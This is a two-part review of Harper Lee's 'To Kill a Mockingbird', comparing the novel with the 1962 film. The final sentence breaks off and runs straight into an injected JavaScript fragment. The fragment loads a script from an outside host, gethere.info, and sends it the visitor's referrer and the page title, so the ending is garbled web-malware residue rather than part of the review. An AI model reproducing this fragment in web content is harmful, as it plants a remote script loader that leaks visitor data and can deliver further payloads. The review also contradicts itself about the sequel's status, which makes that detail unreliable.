He Said, She Said: To Kill a Mockingbird


Melissa Sikes and Anthony Vega

The Book

Harper Lee’s To Kill a Mockingbird, the story of a young girl’s upbringing in Alabama, became an instant classic after its publication in 1960. As a result, this novel made its way to the silver screen by 1962. Directed by Robert Mulligan, the film was a box office success earning three Academy Awards, including Best Art Direction, Best Screenplay and Best Actor in a Leading Role going to Gregory Peck. While the movie garnered many an award, so did the print version. Lee’s novel won a Pulitzer Prize and will go down in history as a classic of American literature.

This story is told through the first person point of view of Scout Finch, younger sister of Jem Finch and daughter of widowed father Atticus Finch. Set during the Great Depression, the family of three are better off than the other families in town because their father is a prominent lawyer in the area. While Atticus is off at work, the children’s time together is spent planning on how to get Arthur “Boo” Radley out of his home, the home he hasn’t left for years. As the tale moves forward, the focus shifts from the children’s lives and more into the life of their father. Tom Robinson, a black man accused of raping a white woman, looks to Atticus Finch to defend him in court against the Ewell’s, the only lawyer in town willing to do so. As for what happens next, that is for you to find out.

This book is classic Americana. I stand boldly before the readers and state that the book is better than the film. Why you may ask? Allow me to explain. It is a completely different experience. While the film focuses mainly on the children’s obsession with the mysterious Boo Radley and Atticus Finch defending Tom Robinson in court, the novel adds a focus on Scout’s experiences. Her angst and inner turmoil are endearing, but the film disrupts that by cutting crucial parts of the story. The film does not depict the scenes in the classroom, which are important not only for character development, but also the fact that that’s where you learn the status of the characters in the community. The film gets stuck on the drama associated with the trial. In addition, the film removes some minor characters, does not mention the supposed incest between the Bob and Mayella Ewell, and does not go in depth with the issue of racism in Maycomb. It is unfortunate to the story, but perhaps it was the right decision for the film.

This coming-of-age tale, loosely based on Harper Lee’s own childhood, was the author’s only published novel, up until recently. Go Set a Watchman, the sequel to the classic, has been set to be published on July 14th, 2015. The sequel follows up on Scout, twenty years later, as she goes from New York back to Maycomb, Alabama, to visit her father. Many of the characters mentioned in the previous novel are brought back for another journey with Scout. I highly recommend you read To Kill a Mockingbird, as to not only fully comprehend the happenings in Lee’s second and final novel, but also for the sheer enjoyment of a classic.

The Movie

In many ways the movie, directed by Robert Mulligan, is a timeless masterpiece. The film won three Oscars and was nominated for five more in 1963, thus propelling the children’s story into the psyche of a nation. To Kill a Mockingbird by Harper Lee tells a story about young children caught in the downward spiral of having to rationalize evil. In a world where youthful innocence is constantly trampled on by the mistakes of an older generation, the prospect of childhood seems almost sadistic and cruel. The old black-and-white movie retains a somber tone and the scenery reflects the short-sightedness of its child protagonists. It should be said that even with all of its accolades and merits the book To Kill a Mockingbird would not be the icon that it is now without the Oscar winning performance of Gregory Peck as Atticus Finch.

The movie generated performances that have become synonymous with the book’s characters. Reportedly Harper Lee herself said that “Atticus Finch gave him (Gregory Peck) an opportunity to play himself.” That being said, when genuine connections are made between fictional stories and real people it’s very apparent. Stories such as To Kill a Mockingbird connect us to a different age. Not to a different age in history, but to a different age in our own lives when the injustices of the world were overshadowed by our childhood idealism. Seeing a movie like this connects us to a town we all somewhat remember as a child, filled with people that we might have known at one point but have long since forgotten.

There’s something about the film that stands out and the charming dialogue brings its young characters to life. Even Robert Duvall in his debut performance as Boo Radley found a way to give the silent, misunderstood character a figurative voice. To Kill a Mockingbird was inducted into the United States National Film Registry in 1995 for its cultural and historical significance by the Library of Congress. The movie and book are both American treasures and so is Harper Lee herself. Currently she is writing the book’s sequel Go Set a Watchman.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;